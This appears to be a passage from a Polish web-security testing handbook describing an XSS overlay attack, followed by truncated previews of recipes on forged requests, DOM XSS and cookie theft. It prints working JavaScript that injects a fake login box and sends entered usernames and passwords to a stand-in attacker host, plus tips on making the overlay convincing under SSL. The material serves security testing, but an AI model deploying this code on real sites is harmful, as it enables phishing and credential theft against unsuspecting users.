Zagrożenia w sieci

Ataki XSS

Problem

Drugim typem testowanego ataku, w którym wykorzystano XSS, było tworzenie nakładek na docelowy serwis WWW w taki sposób, aby użytkownicy będący ofiarami wierzyli, że prze­glądają serwis, który chcieli oglądać, podczas gdy w rzeczywistości przeglądają witrynę kon­trolowaną przez napastnika. Atak ten wykorzystuje zaufanie ofiary przeglądającej witrynę do adresu wyświetlającego się w pasku adresu w przeglądarce.

Rozwiązanie

Tworzenie złożonych ataków jest możliwe, jeśli skrypty znajdują się w oddzielnym serwisie (napastnik.example.org), a następnie są one dołączane do docelowego serwisu poprzez wstrzyknięcie kodu podobnego do poniższego:

Wstawianie pliku JavaScript z innego serwera

<script src="http://napastnik.example.org/nakladka_logowania.js"></script>

W celu testowania utworzono skrypt pokazany poniżej i udostępnić go pod adresem http://napastnik. example.org/nakladka_logowania.js (lub pod innym adresem, gdzie znajduje się nasz serwis ataku).

Kod JavaScript umożliwiający stworzenie nakładki

var LoginBox;

function showLoginBox() {

var oBody = document.getElementsByTagName("body").item(0);

LoginBox = document.createElement("div");

LoginBox.setAttribute('id', 'login_box');

LoginBox.style.width = 400;

LoginBox.style.height = 200;

LoginBox.style.border='red solid 10px';

LoginBox.style.top = 0;

LoginBox.style.left = 0;

LoginBox.style.position = "absolute";

LoginBox.style.zindex = "100";

LoginBox.style.backgroundColor = "#FFFFFF";

LoginBox.style.display = "block";

LoginBox.innerHTML =

'<div><p>Zaloguj się</p>' +

'<form action="#">' +

'Nazwa użytkownika:<input name="username" type="text"/><br/>' +

'Hasło:<input name="password" type="password"/><br/>' +

'<input type="button" onclick="submit_form(this)" value="Zaloguj"/>' +

'</form>' +

'</div>';

oBody.appendChild(LoginBox);

}

function submit_form(f) {

LoginBox.innerHTML=

'<img src="http://napastnik.example.org/credentials_log?username=' + encodeURI(f.form.elements['username'].value) + '&password=' + encodeURI(f.form.elements['password'].value) + '" width="0" height="0"/>'; LoginBox.style.display = "none";

}

showLoginBox();

DYSKUSJA

Plik nakladka_logowania.js może być dowolnie skomplikowany. Kod przedstawiony powyżej to jeden z blo­ków budulcowych tworzenia przekonującego exploita. Aby skorzystać z exploita w praktyce, należałoby dodać znacznie więcej kodu JavaScript niezbędnego do wykonywania innych operacji, na przykład zmiany rozmiaru i ustawienia pozycji nakładki w zależności od roz­miaru okna przeglądarki.

Pokazany wyżej kod JavaScript wyświetla okno logowania w momencie, kiedy użytkownik po raz pierwszy kliknie łącze dostarczone przez napastnika. Okno logowania utworzone przez ten skrypt być może nie jest zbyt przekonujące, ale po dostosowaniu czcionek, kolorów i in­nych szczegółów mających na celu przybliżenie go do stylu docelowej aplikacji może stać się wiarygodne. Celem napastnika jest przekonanie użytkownika, że widzi prawdziwą stronę logowania. Fakt, że użytkownik widzi w pasku adresu ten adres, którego oczekiwał, pracuje na korzyść napastnika. Jeśli użytkownik wprowadzi swoje dane identyfikacyjne w oknie lo­gowania, zostaną one przesłane pod adres napastnik.example.org.

Zabezpieczanie kodu JavaScript za pomocą SSL

Jeśli witryna jest zabezpieczona za pomocą SSL, to plik z kodem JavaScript powinien znaj­dować się na serwerze posiadającym prawidłowy certyfikat SSL podpisany przez zaufany urząd certyfikacji (ang. Certification Authority — CA). W przeciwnym razie przeglądarka ofiary ostrzeże użytkownika, że część treści strony jest serwowana za pośrednictwem HTTPS, a część przez HTTP. Jeśli plik jest umieszczony na serwerze posiadającym prawidłowy certy­fikat SSL, to przeglądarka ofiary wyświetla typową ikonę w postaci kłódki. To jeszcze bar­dziej przekonuje przeciętnego użytkownika, że jest bezpieczny i że przegląda tę stronę, którą miał zamiar przeglądać.

Do rejestrowania danych uwierzytelniania można stworzyć skrypt http://napastnik.example. org/daneuwierzytelniania_log . W przypadku wielu typów serwerów WWW, na przykład serwera Apache, nie jest to jednak konieczne. Jeśli plik daneuwierzytelniania_log istnieje, żądany adres URL (zawierający dane uwierzytelniania) zostanie zarejestrowany w standardowym dzienniku zdarzeń serwera Apache.

 

Tworzenie nakładek

Problem

Drugim typem testowanego ataku, w którym wykorzystano XSS, było tworzenie nakładek na docelowy serwis WWW w taki sposób, aby użytkownicy będący ofiarami wierzyli, że prze­glądają serwis, który chcieli...

Tworzenie żądań HTTP

Problem

Jednym z najpotężniejszych narzędzi w rękach napastnika tworzącego exploity XSS jest możliwość generowania żądań do docelowego serwisu WWW z przeglądarki ofiary oraz możliwość czytania przesłanych odpowiedzi. W niniejszej recepturze...

XSS bazujące na modelu DOM

Problem

Skrypty krzyżowe bazujące na modelu DOM wykorzystują kod JavaScript po stronie klienta, który wyprowadza niezaufane dane bez filtrowania lub kodowania. Testerzy powinni mieć świadomość istnienia tej odmiany ataków XSS,...

Wykradanie plików cookie

Problem

Po znale­zieniu podatności aplikacji na ataki XSS możemy się zetknąć z prośbą o zademonstrowanie, dlaczego jest to problem. W końcu samo pokazanie tego, że po wpisaniu w polu wyszukiwania ciągu <script>alert( "XSS!"...

Pomijanie ograniczeń długości pola

Problem

W testowanej aplikacji znaleźliśmy pole wejściowe, które mogłoby być wrażliwe na składo­wany atak XSS, ale serwer obcina je do takiej liczby znaków, która wydaje się być niewystar­czająca do przeprowadzenia znaczącego...